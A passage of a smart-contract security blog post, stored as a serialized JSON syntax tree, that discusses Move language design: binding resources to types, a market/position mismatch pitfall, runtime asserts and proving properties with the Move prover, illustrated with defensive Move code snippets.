collateralised_lp_coin",{"type":24,"tag":930,"props":10036,"children":10037},{"style":1158},[10038],{"type":30,"value":476},{"type":24,"tag":930,"props":10040,"children":10041},{"style":943},[10042],{"type":30,"value":8914},{"type":24,"tag":930,"props":10044,"children":10045},{"style":959},[10046],{"type":30,"value":1350},{"type":24,"tag":930,"props":10048,"children":10049},{"style":943},[10050],{"type":30,"value":9447},{"type":24,"tag":930,"props":10052,"children":10053},{"style":959},[10054],{"type":30,"value":1350},{"type":24,"tag":930,"props":10056,"children":10057},{"style":943},[10058],{"type":30,"value":10014},{"type":24,"tag":930,"props":10060,"children":10061},{"style":959},[10062],{"type":30,"value":10063},">>,\n",{"type":24,"tag":930,"props":10065,"children":10066},{"class":932,"line":1131},[10067],{"type":24,"tag":930,"props":10068,"children":10069},{"style":1422},[10070],{"type":30,"value":10071},"      /// Mint capability for LP Coin.\n",{"type":24,"tag":930,"props":10073,"children":10074},{"class":932,"line":1144},[10075,10080,10084,10089,10093,10097,10101,10105],{"type":24,"tag":930,"props":10076,"children":10077},{"style":1023},[10078],{"type":30,"value":10079},"      mint_capability",{"type":24,"tag":930,"props":10081,"children":10082},{"style":1158},[10083],{"type":30,"value":476},{"type":24,"tag":930,"props":10085,"children":10086},{"style":943},[10087],{"type":30,"value":10088}," MintCapability",{"type":24,"tag":930,"props":10090,"children":10091},{"style":959},[10092],{"type":30,"value":1350},{"type":24,"tag":930,"props":10094,"children":10095},{"style":943},[10096],{"type":30,"value":9447},{"type":24,"tag":930,"props":10098,"children":10099},{"style":959},[10100],{"type":30,"value":1350},{"type":24,"tag":930,"props":10102,"children":10103},{"style":943},[10104],{"type":30,"value":10014},{"type":24,"tag":930,"props":10106,"children":10107},{"style":959},[10108],{"type":30,"value":10063},{"type":24,"tag":930,"props":10110,"children":10111},{"class":932,"line":1169},[10112],{"type":24,"tag":930,"props":10113,"children":10114},{"style":1422},[10115],{"type":30,"value":10116},"      /// Burn capability for LP Coin.\n",{"type":24,"tag":930,"props":10118,"children":10119},{"class":932,"line":1191},[10120,10125,10129,10134,10138,10142,10146,10150],{"type":24,"tag":930,"props":10121,"children":10122},{"style":1023},[10123],{"type":30,"value":10124},"      burn_capability",{"type":24,"tag":930,"props":10126,"children":10127},{"style":1158},[10128],{"type":30,"value":476},{"type":24,"tag":930,"props":10130,"children":10131},{"style":943},[10132],{"type":30,"value":10133}," BurnCapability",{"type":24,"tag":930,"props":10135,"children":10136},{"style":959},[10137],{"type":30,"value":1350},{"type":24,"tag":930,"props":10139,"children":10140},{"style":943},[10141],{"type":30,"value":9447},{"type":24,"tag":930,"props":10143,"children":10144},{"style":959},[10145],{"type":30,"value":1350},{"type":24,"tag":930,"props":10147,"children":10148},{"style":943},[10149],{"type":30,"value":10014},{"type":24,"tag":930,"props":10151,"children":10152},{"style":959},[10153],{"type":30,"value":10063},{"type":24,"tag":930,"props":10155,"children":10156},{"class":932,"line":1223},[10157],{"type":24,"tag":930,"props":10158,"children":10159},{"emptyLinePlaceholder":16},[10160],{"type":30,"value":2412},{"type":24,"tag":930,"props":10162,"children":10163},{"class":932,"line":1281},[10164],{"type":24,"tag":930,"props":10165,"children":10166},{"style":1422},[10167],{"type":30,"value":9708},{"type":24,"tag":930,"props":10169,"children":10170},{"class":932,"line":1313},[10171],{"type":24,"tag":930,"props":10172,"children":10173},{"style":959},[10174],{"type":30,"value":8984},{"type":24,"tag":33,"props":10176,"children":10177},{},[10178,10180,10185],{"type":30,"value":10179},"When creating a ",{"type":24,"tag":156,"props":10181,"children":10183},{"className":10182},[],[10184],{"type":30,"value":9915},{"type":30,"value":10186},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":24,"tag":920,"props":10188,"children":10190},{"className":6102,"code":10189,"language":6101,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[10191],{"type":24,"tag":156,"props":10192,"children":10193},{"__ignoreMap":7},[10194,10237,10263,10270,10291,10335,10342,10349,10356,10393,10400],{"type":24,"tag":930,"props":10195,"children":10196},{"class":932,"line":933},[10197,10202,10206,10211,10215,10220,10225,10229,10233],{"type":24,"tag":930,"props":10198,"children":10199},{"style":1002},[10200],{"type":30,"value":10201},"  public",{"type":24,"tag":930,"props":10203,"children":10204},{"style":959},[10205],{"type":30,"value":1010},{"type":24,"tag":930,"props":10207,"children":10208},{"style":1023},[10209],{"type":30,"value":10210},"friend",{"type":24,"tag":930,"props":10212,"children":10213},{"style":959},[10214],{"type":30,"value":5579},{"type":24,"tag":930,"props":10216,"children":10217},{"style":1023},[10218],{"type":30,"value":10219},"fun",{"type":24,"tag":930,"props":10221,"children":10222},{"style":1023},[10223],{"type":30,"value":10224}," create",{"type":24,"tag":930,"props":10226,"children":10227},{"style":959},[10228],{"type":30,"value":1350},{"type":24,"tag":930,"props":10230,"children":10231},{"style":943},[10232],{"type":30,"value":10014},{"type":24,"tag":930,"props":10234,"children":10235},{"style":959},[10236],{"type":30,"value":9700},{"type":24,"tag":930,"props":10238,"children":10239},{"class":932,"line":984},[10240,10245,10249,10254,10259],{"type":24,"tag":930,"props":10241,"children":10242},{"style":1023},[10243],{"type":30,"value":10244},"      lp_store",{"type":24,"tag":930,"props":10246,"children":10247},{"style":1158},[10248],{"type":30,"value":476},{"type":24,"tag":930,"props":10250,"children":10251},{"style":1158},[10252],{"type":30,"value":10253}," &",{"type":24,"tag":930,"props":10255,"children":10256},{"style":1023},[10257],{"type":30,"value":10258},"signer",{"type":24,"tag":930,"props":10260,"children":10261},{"style":959},[10262],{"type":30,"value":2832},{"type":24,"tag":930,"props":10264,"children":10265},{"class":932,"line":993},[10266],{"type":24,"tag":930,"props":10267,"children":10268},{"style":1422},[10269],{"type":30,"value":9708},{"type":24,"tag":930,"props":10271,"children":10272},{"class":932,"line":1057},[10273,10278,10282,10287],{"type":24,"tag":930,"props":10274,"children":10275},{"style":959},[10276],{"type":30,"value":10277},"  ) ",{"type":24,"tag":930,"props":10279,"children":10280},{"style":1023},[10281],{"type":30,"value":9456},{"type":24,"tag":930,"props":10283,"children":10284},{"style":943},[10285],{"type":30,"value":10286}," Reserves",{"type":24,"tag":930,"props":10288,"children":10289},{"style":959},[10290],{"type":30,"value":981},{"type":24,"tag":930,"props":10292,"children":10293},{"class":932,"line":1066},[10294,10299,10303,10308,10313,10317,10322,10326,10331],{"type":24,"tag":930,"props":10295,"children":10296},{"style":959},[10297],{"type":30,"value":10298},"      lp",{"type":24,"tag":930,"props":10300,"children":10301},{"style":1158},[10302],{"type":30,"value":6597},{"type":24,"tag":930,"props":10304,"children":10305},{"style":1002},[10306],{"type":30,"value":10307},"assert_is_lp_store",{"type":24,"tag":930,"props":10309,"children":10310},{"style":959},[10311],{"type":30,"value":10312},"(signer",{"type":24,"tag":930,"props":10314,"children":10315},{"style":1158},[10316],{"type":30,"value":6597},{"type":24,"tag":930,"props":10318,"children":10319},{"style":1002},[10320],{"type":30,"value":10321},"address_of",{"type":24,"tag":930,"props":10323,"children":10324},{"style":959},[10325],{"type":30,"value":1010},{"type":24,"tag":930,"props":10327,"children":10328},{"style":1023},[10329],{"type":30,"value":10330},"lp_store",{"type":24,"tag":930,"props":10332,"children":10333},{"style":959},[10334],{"type":30,"value":2058},{"type":24,"tag":930,"props":10336,"children":10337},{"class":932,"line":1075},[10338],{"type":24,"tag":930,"props":10339,"children":10340},{"emptyLinePlaceholder":16},[10341],{"type":30,"value":2412},{"type":24,"tag":930,"props":10343,"children":10344},{"class":932,"line":1122},[10345],{"type":24,"tag":930,"props":10346,"children":10347},{"style":1422},[10348],{"type":30,"value":9708},{"type":24,"tag":930,"props":10350,"children":10351},{"class":932,"line":1131},[10352],{"type":24,"tag":930,"props":10353,"children":10354},{"emptyLinePlaceholder":16},[10355],{"type":30,"value":2412},{"type":24,"tag":930,"props":10357,"children":10358},{"class":932,"line":1144},[10359,10364,10368,10372,10376,10380,10384,10388],{"type":24,"tag":930,"props":10360,"children":10361},{"style":1002},[10362],{"type":30,"value":10363},"      move_to",{"type":24,"tag":930,"props":10365,"children":10366},{"style":959},[10367],{"type":30,"value":1010},{"type":24,"tag":930,"props":10369,"children":10370},{"style":1023},[10371],{"type":30,"value":10330},{"type":24,"tag":930,"props":10373,"children":10374},{"style":959},[10375],{"type":30,"value":962},{"type":24,"tag":930,"props":10377,"children":10378},{"style":943},[10379],{"type":30,"value":9915},{"type":24,"tag":930,"props":10381,"children":10382},{"style":959},[10383],{"type":30,"value":1350},{"type":24,"tag":930,"props":10385,"children":10386},{"style":943},[10387],{"type":30,"value":10014},{"type":24,"tag":930,"props":10389,"children":10390},{"style":959},[10391],{"type":30,"value":10392},"> {\n",{"type":24,"tag":930,"props":10394,"children":10395},{"class":932,"line":1169},[10396],{"type":24,"tag":930,"props":10397,"children":10398},{"style":1422},[10399],{"type":30,"value":9288},{"type":24,"tag":930,"props":10401,"children":10402},{"class":932,"line":1191},[10403],{"type":24,"tag":930,"props":10404,"children":10405},{"style":959},[10406],{"type":30,"value":10407},"      });\n",{"type":24,"tag":33,"props":10409,"children":10410},{},[10411],{"type":30,"value":10412},"In both these instances, type association only works because we create exactly one instance per type.",{"type":24,"tag":33,"props":10414,"children":10415},{},[10416,10418,10424,10426,10432,10434,10439],{"type":30,"value":10417},"On the other hand, consider if you have a ",{"type":24,"tag":156,"props":10419,"children":10421},{"className":10420},[],[10422],{"type":30,"value":10423},"Position\u003CT>",{"type":30,"value":10425}," and a ",{"type":24,"tag":156,"props":10427,"children":10429},{"className":10428},[],[10430],{"type":30,"value":10431},"Market\u003CT>",{"type":30,"value":10433}," where ",{"type":24,"tag":156,"props":10435,"children":10437},{"className":10436},[],[10438],{"type":30,"value":9100},{"type":30,"value":10440}," is the coin type.",{"type":24,"tag":920,"props":10442,"children":10444},{"className":6102,"code":10443,"language":6101,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[10445],{"type":24,"tag":156,"props":10446,"children":10447},{"__ignoreMap":7},[10448,10476,10504,10511,10518,10525,10553,10573,10580],{"type":24,"tag":930,"props":10449,"children":10450},{"class":932,"line":933},[10451,10455,10460,10464,10468,10472],{"type":24,"tag":930,"props":10452,"children":10453},{"style":937},[10454],{"type":30,"value":9165},{"type":24,"tag":930,"props":10456,"children":10457},{"style":943},[10458],{"type":30,"value":10459}," Market",{"type":24,"tag":930,"props":10461,"children":10462},{"style":959},[10463],{"type":30,"value":1350},{"type":24,"tag":930,"props":10465,"children":10466},{"style":1023},[10467],{"type":30,"value":8923},{"type":24,"tag":930,"props":10469,"children":10470},{"style":943},[10471],{"type":30,"value":9031},{"type":24,"tag":930,"props":10473,"children":10474},{"style":959},[10475],{"type":30,"value":10392},{"type":24,"tag":930,"props":10477,"children":10478},{"class":932,"line":984},[10479,10484,10488,10492,10496,10500],{"type":24,"tag":930,"props":10480,"children":10481},{"style":1023},[10482],{"type":30,"value":10483},"        reserves",{"type":24,"tag":930,"props":10485,"children":10486},{"style":1158},[10487],{"type":30,"value":476},{"type":24,"tag":930,"props":10489,"children":10490},{"style":943},[10491],{"type":30,"value":8914},{"type":24,"tag":930,"props":10493,"children":10494},{"style":959},[10495],{"type":30,"value":1350},{"type":24,"tag":930,"props":10497,"children":10498},{"style":943},[10499],{"type":30,"value":9100},{"type":24,"tag":930,"props":10501,"children":10502},{"style":959},[10503],{"type":30,"value":9251},{"type":24,"tag":930,"props":10505,"children":10506},{"class":932,"line":993},[10507],{"type":24,"tag":930,"props":10508,"children":10509},{"style":1422},[10510],{"type":30,"value":9288},{"type":24,"tag":930,"props":10512,"children":10513},{"class":932,"line":1057},[10514],{"type":24,"tag":930,"props":10515,"children":10516},{"style":959},[10517],{"type":30,"value":1840},{"type":24,"tag":930,"props":10519,"children":10520},{"class":932,"line":1066},[10521],{"type":24,"tag":930,"props":10522,"children":10523},{"emptyLinePlaceholder":16},[10524],{"type":30,"value":2412},{"type":24,"tag":930,"props":10526,"children":10527},{"class":932,"line":1075},[10528,10532,10537,10541,10545,10549],{"type":24,"tag":930,"props":10529,"children":10530},{"style":937},[10531],{"type":30,"value":9165},{"type":24,"tag":930,"props":10533,"children":10534},{"style":943},[10535],{"type":30,"value":10536}," Position",{"type":24,"tag":930,"props":10538,"children":10539},{"style":959},[10540],{"type":30,"value":1350},{"type":24,"tag":930,"props":10542,"children":10543},{"style":1023},[10544],{"type":30,"value":8923},{"type":24,"tag":930,"props":10546,"children":10547},{"style":943},[10548],{"type":30,"value":9031},{"type":24,"tag":930,"props":10550,"children":10551},{"style":959},[10552],{"type":30,"value":10392},{"type":24,"tag":930,"props":10554,"children":10555},{"class":932,"line":1122},[10556,10561,10565,10569],{"type":24,"tag":930,"props":10557,"children":10558},{"style":1023},[10559],{"type":30,"value":10560},"        amount",{"type":24,"tag":930,"props":10562,"children":10563},{"style":1158},[10564],{"type":30,"value":476},{"type":24,"tag":930,"props":10566,"children":10567},{"style":943},[10568],{"type":30,"value":8972},{"type":24,"tag":930,"props":10570,"children":10571},{"style":959},[10572],{"type":30,"value":2832},{"type":24,"tag":930,"props":10574,"children":10575},{"class":932,"line":1131},[10576],{"type":24,"tag":930,"props":10577,"children":10578},{"style":1422},[10579],{"type":30,"value":9288},{"type":24,"tag":930,"props":10581,"children":10582},{"class":932,"line":1144},[10583],{"type":24,"tag":930,"props":10584,"children":10585},{"style":959},[10586],{"type":30,"value":1840},{"type":24,"tag":33,"props":10588,"children":10589},{},[10590,10591,10596,10598,10603],{"type":30,"value":3710},{"type":24,"tag":156,"props":10592,"children":10594},{"className":10593},[],[10595],{"type":30,"value":10431},{"type":30,"value":10597}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":24,"tag":156,"props":10599,"children":10601},{"className":10600},[],[10602],{"type":30,"value":9100},{"type":30,"value":10604}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":24,"tag":33,"props":10606,"children":10607},{},[10608],{"type":30,"value":10609},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":24,"tag":920,"props":10611,"children":10613},{"className":6102,"code":10612,"language":6101,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[10614],{"type":24,"tag":156,"props":10615,"children":10616},{"__ignoreMap":7},[10617,10625,10687,10736,10788,10813,10825,10847,10854,10867],{"type":24,"tag":930,"props":10618,"children":10619},{"class":932,"line":933},[10620],{"type":24,"tag":930,"props":10621,"children":10622},{"style":1422},[10623],{"type":30,"value":10624},"    /// Get the price of the token per lamport.\n",{"type":24,"tag":930,"props":10626,"children":10627},{"class":932,"line":984},[10628,10633,10637,10642,10646,10651,10655,10660,10664,10668,10673,10678,10683],{"type":24,"tag":930,"props":10629,"children":10630},{"style":1023},[10631],{"type":30,"value":10632},"    public",{"type":24,"tag":930,"props":10634,"children":10635},{"style":1023},[10636],{"type":30,"value":9320},{"type":24,"tag":930,"props":10638,"children":10639},{"style":1002},[10640],{"type":30,"value":10641}," get_price",{"type":24,"tag":930,"props":10643,"children":10644},{"style":959},[10645],{"type":30,"value":1010},{"type":24,"tag":930,"props":10647,"children":10648},{"style":1023},[10649],{"type":30,"value":10650},"type_info",{"type":24,"tag":930,"props":10652,"children":10653},{"style":1158},[10654],{"type":30,"value":476},{"type":24,"tag":930,"props":10656,"children":10657},{"style":943},[10658],{"type":30,"value":10659}," TypeInfo",{"type":24,"tag":930,"props":10661,"children":10662},{"style":959},[10663],{"type":30,"value":6249},{"type":24,"tag":930,"props":10665,"children":10666},{"style":1158},[10667],{"type":30,"value":476},{"type":24,"tag":930,"props":10669,"children":10670},{"style":943},[10671],{"type":30,"value":10672}," Decimal",{"type":24,"tag":930,"props":10674,"children":10675},{"style":1023},[10676],{"type":30,"value":10677}," acquires",{"type":24,"tag":930,"props":10679,"children":10680},{"style":943},[10681],{"type":30,"value":10682}," Oracle",{"type":24,"tag":930,"props":10684,"children":10685},{"style":959},[10686],{"type":30,"value":981},{"type":24,"tag":930,"props":10688,"children":10689},{"class":932,"line":993},[10690,10694,10699,10703,10708,10712,10717,10722,10727,10732],{"type":24,"tag":930,"props":10691,"children":10692},{"style":937},[10693],{"type":30,"value":6186},{"type":24,"tag":930,"props":10695,"children":10696},{"style":1023},[10697],{"type":30,"value":10698}," oracle",{"type":24,"tag":930,"props":10700,"children":10701},{"style":1158},[10702],{"type":30,"value":6137},{"type":24,"tag":930,"props":10704,"children":10705},{"style":1023},[10706],{"type":30,"value":10707}," borrow_global_mut",{"type":24,"tag":930,"props":10709,"children":10710},{"style":959},[10711],{"type":30,"value":1350},{"type":24,"tag":930,"props":10713,"children":10714},{"style":943},[10715],{"type":30,"value":10716},"Oracle",{"type":24,"tag":930,"props":10718,"children":10719},{"style":959},[10720],{"type":30,"value":10721},">(",{"type":24,"tag":930,"props":10723,"children":10724},{"style":1158},[10725],{"type":30,"value":10726},"@",{"type":24,"tag":930,"props":10728,"children":10729},{"style":1023},[10730],{"type":30,"value":10731},"oracle",{"type":24,"tag":930,"props":10733,"children":10734},{"style":959},[10735],{"type":30,"value":1278},{"type":24,"tag":930,"props":10737,"children":10738},{"class":932,"line":1057},[10739,10743,10748,10752,10757,10761,10766,10770,10775,10779,10784],{"type":24,"tag":930,"props":10740,"children":10741},{"style":937},[10742],{"type":30,"value":6186},{"type":24,"tag":930,"props":10744,"children":10745},{"style":1023},[10746],{"type":30,"value":10747}," price",{"type":24,"tag":930,"props":10749,"children":10750},{"style":1158},[10751],{"type":30,"value":6137},{"type":24,"tag":930,"props":10753,"children":10754},{"style":959},[10755],{"type":30,"value":10756}," table",{"type":24,"tag":930,"props":10758,"children":10759},{"style":1158},[10760],{"type":30,"value":6597},{"type":24,"tag":930,"props":10762,"children":10763},{"style":1023},[10764],{"type":30,"value":10765},"borrow_mut_with_default",{"type":24,"tag":930,"props":10767,"children":10768},{"style":959},[10769],{"type":30,"value":1350},{"type":24,"tag":930,"props":10771,"children":10772},{"style":943},[10773],{"type":30,"value":10774},"TypeInfo",{"type":24,"tag":930,"props":10776,"children":10777},{"style":959},[10778],{"type":30,"value":962},{"type":24,"tag":930,"props":10780,"children":10781},{"style":943},[10782],{"type":30,"value":10783},"Decimal",{"type":24,"tag":930,"props":10785,"children":10786},{"style":959},[10787],{"type":30,"value":9700},{"type":24,"tag":930,"props":10789,"children":10790},{"class":932,"line":1066},[10791,10796,10800,10804,10808],{"type":24,"tag":930,"props":10792,"children":10793},{"style":1158},[10794],{"type":30,"value":10795},"            &",{"type":24,"tag":930,"props":10797,"children":10798},{"style":937},[10799],{"type":30,"value":6839},{"type":24,"tag":930,"props":10801,"children":10802},{"style":1023},[10803],{"type":30,"value":10698},{"type":24,"tag":930,"props":10805,"children":10806},{"style":1158},[10807],{"type":30,"value":436},{"type":24,"tag":930,"props":10809,"children":10810},{"style":959},[10811],{"type":30,"value":10812},"prices,\n",{"type":24,"tag":930,"props":10814,"children":10815},{"class":932,"line":1075},[10816,10821],{"type":24,"tag":930,"props":10817,"children":10818},{"style":1023},[10819],{"type":30,"value":10820},"            type_info",{"type":24,"tag":930,"props":10822,"children":10823},{"style":959},[10824],{"type":30,"value":2832},{"type":24,"tag":930,"props":10826,"children":10827},{"class":932,"line":1122},[10828,10833,10837,10842],{"type":24,"tag":930,"props":10829,"children":10830},{"style":959},[10831],{"type":30,"value":10832},"            decimal",{"type":24,"tag":930,"props":10834,"children":10835},{"style":1158},[10836],{"type":30,"value":6597},{"type":24,"tag":930,"props":10838,"children":10839},{"style":1002},[10840],{"type":30,"value":10841},"one",{"type":24,"tag":930,"props":10843,"children":10844},{"style":959},[10845],{"type":30,"value":10846},"()\n",{"type":24,"tag":930,"props":10848,"children":10849},{"class":932,"line":1131},[10850],{"type":24,"tag":930,"props":10851,"children":10852},{"style":959},[10853],{"type":30,"value":5221},{"type":24,"tag":930,"props":10855,"children":10856},{"class":932,"line":1144},[10857,10862],{"type":24,"tag":930,"props":10858,"children":10859},{"style":1158},[10860],{"type":30,"value":10861},"        *",{"type":24,"tag":930,"props":10863,"children":10864},{"style":1023},[10865],{"type":30,"value":10866},"price\n",{"type":24,"tag":930,"props":10868,"children":10869},{"class":932,"line":1169},[10870],{"type":24,"tag":930,"props":10871,"children":10872},{"style":959},[10873],{"type":30,"value":1840},{"type":24,"tag":33,"props":10875,"children":10876},{},[10877,10879,10884],{"type":30,"value":10878},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":24,"tag":6032,"props":10880,"children":10881},{},[10882],{"type":30,"value":10883},"instance",{"type":30,"value":10885}," of another resource (which is possible in Diem style move).",{"type":24,"tag":33,"props":10887,"children":10888},{},[10889],{"type":30,"value":10890},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":24,"tag":478,"props":10892,"children":10893},{},[10894,10899],{"type":24,"tag":100,"props":10895,"children":10896},{},[10897],{"type":30,"value":10898},"Have unique initializers for your resources",{"type":24,"tag":100,"props":10900,"children":10901},{},[10902],{"type":30,"value":10903},"Associate resources with instances directly",{"type":24,"tag":68,"props":10905,"children":10907},{"id":10906},"formal-verification",[10908],{"type":30,"value":10909},"Formal Verification",{"type":24,"tag":33,"props":10911,"children":10912},{},[10913],{"type":30,"value":10914},"Formal verification is another exciting feature.",{"type":24,"tag":33,"props":10916,"children":10917},{},[10918],{"type":30,"value":10919},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":24,"tag":33,"props":10921,"children":10922},{},[10923,10925,10930],{"type":30,"value":10924},"However, this isn't a silver bullet. The key is figuring out ",{"type":24,"tag":6032,"props":10926,"children":10927},{},[10928],{"type":30,"value":10929},"what",{"type":30,"value":10931}," to prove.",{"type":24,"tag":33,"props":10933,"children":10934},{},[10935,10937,10944],{"type":30,"value":10936},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":24,"tag":37,"props":10938,"children":10941},{"href":10939,"rel":10940},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[41],[10942],{"type":30,"value":10943},"Solana AMM rounding issue",{"type":30,"value":10945}," we reported.",{"type":24,"tag":33,"props":10947,"children":10948},{},[10949],{"type":30,"value":10950},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":24,"tag":920,"props":10952,"children":10954},{"className":6102,"code":10953,"language":6101,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[10955],{"type":24,"tag":156,"props":10956,"children":10957},{"__ignoreMap":7},[10958,11019],{"type":24,"tag":930,"props":10959,"children":10960},{"class":932,"line":933},[10961,10966,10971,10975,10980,10984,10989,10993,10997,11002,11006,11010,11015],{"type":24,"tag":930,"props":10962,"children":10963},{"style":937},[10964],{"type":30,"value":10965},"  let",{"type":24,"tag":930,"props":10967,"children":10968},{"style":1023},[10969],{"type":30,"value":10970}," cmp",{"type":24,"tag":930,"props":10972,"children":10973},{"style":1158},[10974],{"type":30,"value":6137},{"type":24,"tag":930,"props":10976,"children":10977},{"style":959},[10978],{"type":30,"value":10979}," u256",{"type":24,"tag":930,"props":10981,"children":10982},{"style":1158},[10983],{"type":30,"value":6597},{"type":24,"tag":930,"props":10985,"children":10986},{"style":1002},[10987],{"type":30,"value":10988},"compare",{"type":24,"tag":930,"props":10990,"children":10991},{"style":959},[10992],{"type":30,"value":1010},{"type":24,"tag":930,"props":10994,"children":10995},{"style":1158},[10996],{"type":30,"value":6230},{"type":24,"tag":930,"props":10998,"children":10999},{"style":1023},[11000],{"type":30,"value":11001},"lp_value_after_swap_and_fee",{"type":24,"tag":930,"props":11003,"children":11004},{"style":959},[11005],{"type":30,"value":962},{"type":24,"tag":930,"props":11007,"children":11008},{"style":1158},[11009],{"type":30,"value":6230},{"type":24,"tag":930,"props":11011,"children":11012},{"style":1023},[11013],{"type":30,"value":11014},"lp_value_before_swap_u256",{"type":24,"tag":930,"props":11016,"children":11017},{"style":959},[11018],{"type":30,"value":1278},{"type":24,"tag":930,"props":11020,"children":11021},{"class":932,"line":984},[11022,11027,11031,11036,11040,11045],{"type":24,"tag":930,"props":11023,"children":11024},{"style":1002},[11025],{"type":30,"value":11026},"  assert!",{"type":24,"tag":930,"props":11028,"children":11029},{"style":959},[11030],{"type":30,"value":1010},{"type":24,"tag":930,"props":11032,"children":11033},{"style":1023},[11034],{"type":30,"value":11035},"cmp",{"type":24,"tag":930,"props":11037,"children":11038},{"style":1158},[11039],{"type":30,"value":6402},{"type":24,"tag":930,"props":11041,"children":11042},{"style":1242},[11043],{"type":30,"value":11044}," 2",{"type":24,"tag":930,"props":11046,"children":11047},{"style":959},[11048],{"type":30,"value":11049},", ERR_INCORRECT_SWAP);\n",{"type":24,"tag":33,"props":11051,"children":11052},{},[11053,11055,11060],{"type":30,"value":11054},"The move prover really shines when we're proving relationships ",{"type":24,"tag":6032,"props":11056,"children":11057},{},[11058],{"type":30,"value":11059},"between",{"type":30,"value":11061}," functions.",{"type":24,"tag":33,"props":11063,"children":11064},{},[11065,11067,11073],{"type":30,"value":11066},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":24,"tag":156,"props":11068,"children":11070},{"className":11069},[],[11071],{"type":30,"value":11072},"no_free_money_theorem",{"type":30,"value":11074}," in the move repository.",{"type":24,"tag":920,"props":11076,"children":11078},{"className":6102,"code":11077,"language":6101,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[11079],{"type":24,"tag":156,"props":11080,"children":11081},{"__ignoreMap":7},[11082,11090,11178,11220,11241,11248,11264,11289,11316,11341],{"type":24,"tag":930,"props":11083,"children":11084},{"class":932,"line":933},[11085],{"type":24,"tag":930,"props":11086,"children":11087},{"style":1422},[11088],{"type":30,"value":11089},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":24,"tag":930,"props":11091,"children":11092},{"class":932,"line":984},[11093,11097,11102,11106,11111,11115,11119,11123,11128,11132,11136,11140,11144,11148,11153,11157,11161,11165,11169,11174],{"type":24,"tag":930,"props":11094,"children":11095},{"style":1023},[11096],{"type":30,"value":9681},{"type":24,"tag":930,"props":11098,"children":11099},{"style":1002},[11100],{"type":30,"value":11101}," no_free_money_theorem",{"type":24,"tag":930,"props":11103,"children":11104},{"style":959},[11105],{"type":30,"value":1010},{"type":24,"tag":930,"props":11107,"children":11108},{"style":1023},[11109],{"type":30,"value":11110},"coin1_in",{"type":24,"tag":930,"props":11112,"children":11113},{"style":1158},[11114],{"type":30,"value":476},{"type":24,"tag":930,"props":11116,"children":11117},{"style":943},[11118],{"type":30,"value":8972},{"type":24,"tag":930,"props":11120,"children":11121},{"style":959},[11122],{"type":30,"value":962},{"type":24,"tag":930,"props":11124,"children":11125},{"style":1023},[11126],{"type":30,"value":11127},"coin2_in",{"type":24,"tag":930,"props":11129,"children":11130},{"style":1158},[11131],{"type":30,"value":476},{"type":24,"tag":930,"props":11133,"children":11134},{"style":943},[11135],{"type":30,"value":8972},{"type":24,"tag":930,"props":11137,"children":11138},{"style":959},[11139],{"type":30,"value":6249},{"type":24,"tag":930,"props":11141,"children":11142},{"style":1158},[11143],{"type":30,"value":476},{"type":24,"tag":930,"props":11145,"children":11146},{"style":959},[11147],{"type":30,"value":1087},{"type":24,"tag":930,"props":11149,"children":11150},{"style":943},[11151],{"type":30,"value":11152},"u64",{"type":24,"tag":930,"props":11154,"children":11155},{"style":959},[11156],{"type":30,"value":962},{"type":24,"tag":930,"props":11158,"children":11159},{"style":943},[11160],{"type":30,"value":11152},{"type":24,"tag":930,"props":11162,"children":11163},{"style":959},[11164],{"type":30,"value":5579},{"type":24,"tag":930,"props":11166,"children":11167},{"style":1023},[11168],{"type":30,"value":9456},{"type":24,"tag":930,"props":11170,"children":11171},{"style":943},[11172],{"type":30,"value":11173}," Pool",{"type":24,"tag":930,"props":11175,"children":11176},{"style":959},[11177],{"type":30,"value":981},{"type":24,"tag":930,"props":11179,"children":11180},{"class":932,"line":993},[11181,11186,11191,11195,11200,11204,11208,11212,11216],{"type":24,"tag":930,"props":11182,"children":11183},{"style":937},[11184],{"type":30,"value":11185},"      let",{"type":24,"tag":930,"props":11187,"children":11188},{"style":1023},[11189],{"type":30,"value":11190}," share",{"type":24,"tag":930,"props":11192,"children":11193},{"style":1158},[11194],{"type":30,"value":6137},{"type":24,"tag":930,"props":11196,"children":11197},{"style":1002},[11198],{"type":30,"value":11199}," 